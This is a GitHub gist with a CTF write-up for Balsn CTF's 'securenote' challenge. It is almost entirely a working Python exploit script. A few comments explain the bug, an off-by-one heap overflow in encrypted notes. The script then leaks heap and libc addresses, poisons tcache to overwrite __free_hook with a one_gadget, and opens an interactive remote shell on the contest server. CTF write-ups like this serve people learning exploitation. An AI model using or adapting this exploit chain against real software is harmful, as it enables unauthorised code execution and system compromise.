Created
October 8, 2019 08:21
-
-
Save Mipu94/8db7474bf7069b33c1cc7c4685431c21 to your computer and use it in GitHub Desktop.
writeup securenote - Balsn CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# solves: 0 - 1000 pts | |
# bug: strcpy(dest, s) -> off byte one. | |
# the content of notes were xor-ed with AES-hashes: MEM = content ^ hashes | |
# show function will print out: contents = MEM ^ hashes | |
# if MEM = 0x00 => leak hashes | |
# the idea is overwrite last null byte then use show function to leak hashes. | |
# in my solution, I try to set IV[0](counter[0]) to constant value X(heap + 0x280) then leak hashes of this IV[0]=X and turn back to IV[0]=X several times. | |
import time | |
import socket | |
from struct import pack,unpack | |
import telnetlib | |
global s,bit | |
def p64(m): | |
return pack("<Q", m) | |
def u64(m): | |
return unpack("<Q", m)[0] | |
def sock(HOST, PORT,bits,debug=True): | |
global s,bit | |
bit=bits | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect( (HOST, PORT) ) | |
if debug: print "[+] Connected to server" | |
return s | |
def telnet(): | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def send(m, debug = False): | |
s.sendall(m) | |
def recvu(str,debug=0, substr = ""): | |
recv='' | |
tm = time.time() | |
while not str in recv: | |
if substr != "": | |
if substr in recv: | |
return recv | |
if time.time() - tm > 100: | |
print "timeout" | |
return recv | |
tmp = s.recv(4096) | |
recv += tmp | |
if debug: | |
print repr(tmp) | |
continue | |
return recv | |
def add(idx, msg): | |
send("0\n") | |
recvu("idx [0 ~ 3]:") | |
send(str(idx)) | |
recvu("Content:") | |
send(msg) | |
recvu("idx [0 ~ 3]:") | |
def delete(idx): | |
send("2\n") | |
recvu("idx [0 ~ 3]:") | |
send(str(idx)) | |
recvu("idx [0 ~ 3]:") | |
def show(idx): | |
send("1\n") | |
recvu("idx [0 ~ 3]:") | |
send(str(idx)) | |
data = recvu("idx [0 ~ 3]:") | |
k = data.find(".-----------------------.") | |
data = data[0:k] | |
return data | |
def get_update(hashes): | |
data = show(0) | |
new_rounds = process_info(data) | |
l = 0 | |
info = [] | |
if len(hashes) < len(new_rounds): | |
l = len(hashes) | |
else: | |
l = len(new_rounds) | |
for i in range(l): | |
info.append(hashes[i] ^ new_rounds[i]) | |
return info | |
def print_info(rounds): | |
k = 0 | |
data = "" | |
num = "" | |
for i in rounds: | |
data += '{0:016x}'.format(i)+"\n" | |
print data | |
def xor_hash(hashes, key): | |
input = "" | |
for i in range(len(key)): | |
input += p64(hashes[i] ^ key[i]) | |
return input | |
def process_info(data): | |
rounds = [] | |
while data: | |
num = data[:8].ljust(8, '\x00') | |
rounds.append(u64(num)) | |
data = data[8:] | |
return rounds | |
def call_exit(): | |
print "EXIT" | |
doexploit() | |
def doexploit(): | |
# sock("localhost",4000,64) | |
sock("securenote.balsnctf.com",5454,64) | |
recvu("idx [0 ~ 3]:") | |
add(0,"A"*0x18) # 0, 1 | |
add(1,"\x0a") # 2 -> overwrite nullbyte | |
data = show(0) | |
hashes = process_info(data) | |
hashes[3] = hashes[3]^0x21 | |
while True: | |
add(2,"\x0a") | |
info = get_update(hashes) | |
if len(info)> 11: | |
break | |
delete(2) | |
print "small length: ", len(info) ,"->", "try again!" | |
call_exit() | |
hashes[7] = (info[11]+0x20)^hashes[7] | |
info = get_update(hashes) | |
delete(1) | |
delete(2) | |
info = get_update(hashes) | |
heap = info[8] - 0x2a0 | |
print "heap:", hex(heap) | |
add(2,"\x0a") | |
add(1,"\x0a") | |
add(3,"\x0a") | |
info = get_update(hashes) | |
tmp_len = 0 | |
while True: | |
# try to overwrite chunksize to a bigger one. | |
delete(1) | |
add(1,"A"*0x18) | |
info = get_update(hashes) | |
if len(info) < 12: | |
continue | |
print "finding: ", hex(info[7]), "len:", hex(len(info)) | |
if (info[7]&0xf == 1) & (info[7] > 0xc0): | |
tmp_len = info[7] | |
break | |
print "Found new size: ",hex(tmp_len) | |
delete(1) | |
delete(3) | |
delete(2) | |
pay = "A"*0x20 + ((tmp_len&0xf8)-0x20-8)*"\x00" | |
add(2,pay) | |
info = get_update(hashes) | |
# print_info(info) | |
print "go find round2" | |
while True: | |
# try overwrite last byte to 0x60 -> point back to IV[0] | |
info = get_update(hashes) | |
if len(info) > 13: | |
value = info[12]&0xff | |
print "Finding: ", hex(value) | |
if value == 0x60: | |
print "Found 0x60" | |
break | |
else: | |
print "small len:", len(info) | |
delete(2) | |
add(2,pay) | |
delete(2) | |
add(1,"\x0a") # -> header was corrupted | |
add(2,"\x0a") # -> point to IV[0] | |
info = get_update(hashes) | |
print_info(info) | |
chunk_xxx = info[12] | |
print hex(chunk_xxx) | |
delete(0) #heap+0x280 | |
delete(2) #heap+0x260 -> heap+0x280 ; IV[0] = heap+0x280 | |
add(0, "\x00") # -> used IV[0] = 0x55aa97056280 | |
# leak hashes; IV[0] = 0x55aa97056280 | |
data = show(0) | |
hashes = process_info(data) | |
if len(hashes) < 20 : | |
print "SMALL HASH:", len(hashes) | |
call_exit() | |
else: | |
print "len new hashes:", len(hashes) | |
hashes[3] ^= 0x21 | |
hashes[7] ^= 0x21 | |
hashes[11] ^= tmp_len | |
hashes[16] ^= chunk_xxx | |
add(2,"\x00"*0x47) | |
add(3,"\x00"*0x27) | |
delete(3) | |
delete(2) | |
# extend heap for free big chunk later | |
add(2, "\x00"*0x310) | |
delete(2) | |
# end extend heap for free big chunk later | |
add(2,"\x00"*0x47) | |
add(3,"\x00"*0x47) | |
delete(3) | |
delete(2) | |
add(2,"\x00"*0x27) | |
add(3,"\x00"*0x27) | |
delete(3) | |
delete(2) | |
# create linked list | |
delete(0) # reset IV[0] -> heap + 0x280 | |
key = [ 0x0,0x0, #1 | |
0x0, 0x441, #2 -> set to big size then free=> leak libc | |
0, 0, #3 | |
0, 0x51, #4 | |
heap+0x280,0,#5 | |
0, 0, #6 | |
0, 0, #7 | |
0xc1c1c1, 0, #8 | |
0, 0x31, #9 | |
heap+0x280,0 #10 | |
] | |
pay = xor_hash(hashes,key) | |
pay += ((tmp_len&0xf8)-len(pay)-8)*"\x00" | |
add(0, pay) | |
add(3, "\x00"*0x50) | |
delete(3) | |
add(2,'\x00'*0x48) # 0x55aa97056300 | |
add(3,'\x00'*0x48) # 0x55aa97056280 | |
delete(2) | |
delete(1) # -> free big chunk -> leak libc | |
data = show(0) | |
info = process_info(data) | |
libc_leak = info[4] | |
print_info(info) | |
delete(0) | |
add(0,'\x0a') # 0x55aa97056260 | |
add(1,'\x00'*0x28) # 0x55aa97056350 | |
add(2,'\x00'*0x28) # 0x55aa97056280 | |
delete(2) | |
delete(0) #0x55aa97056260 -> 0x55aa97056280 ; IV[0] = 0x55aa97056280 | |
delete(1) | |
add(0, '\x00'*0x28) # 0x55aa97056350; IV[0]= 0x55aa97056280 | |
pay = "A"*0x90 | |
pay += ((tmp_len&0xf8)-len(pay)-8)*"\x00" | |
print len(pay) | |
add(1, pay)# overwrite nullbyte | |
#---> get full hashes | |
data = show(0) | |
hashes = process_info(data) | |
print "LEN HAHSES:",len(hashes) | |
libc = (hashes[4]^libc_leak) - 0x3ebca0 | |
if len(hashes) < 23: | |
call_exit() | |
free_hook = libc + 0x3ed8e8 | |
one_gadget = libc+ 0x4f322 | |
print "Libc:", hex(libc) | |
print "free_hook:",hex(free_hook) | |
delete(1) | |
add(2,"\x00") | |
delete(3)#heap+0x280 | |
delete(2)#heap+0x260 | |
key = [ 0,0, #1 | |
0,0, #2 | |
0,0, #3 | |
0,0x31, #4 | |
free_hook-0x18,0,#5 | |
0,0, #6 | |
0,0, #7 | |
0,0, #8 | |
0,0, #9 | |
0,0, #10 | |
0,0, #11 | |
0,0x41, #12 -> size heap+0x380 | |
heap+0x280, #13 | |
] | |
pay = xor_hash(hashes,key) | |
pay += ((tmp_len&0xf8)-len(pay)-8)*"\x00" | |
print hex(tmp_len), hex(len(pay)) | |
add(1, pay) | |
delete(1) | |
add(1,"\x00"*0x318) #heap+0x380 | |
add(2,"\x00"*0x318) #heap+0x280 | |
delete(1) | |
add(3,"\x00"*0x48) | |
add(1,"\x00") #heap+0x260 | |
delete(2) | |
delete(1) #tcache[0]: 0x55aa97056260 -> 0x55aa97056280 ; IV[0] = 0x55aa97056280 | |
key = [one_gadget,one_gadget,one_gadget,one_gadget] | |
pay = xor_hash(hashes,key) | |
pay = pay+ (0x48-len(pay))*"\x00" | |
add(2,pay) | |
send("2\n") | |
recvu("idx [0 ~ 3]:") | |
send("3\n") | |
print "SHELL >>" | |
send("ls\n") | |
telnet() | |
doexploit() | |
#Balsn{l1bc_1s_ToO_P0w3rfUl} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment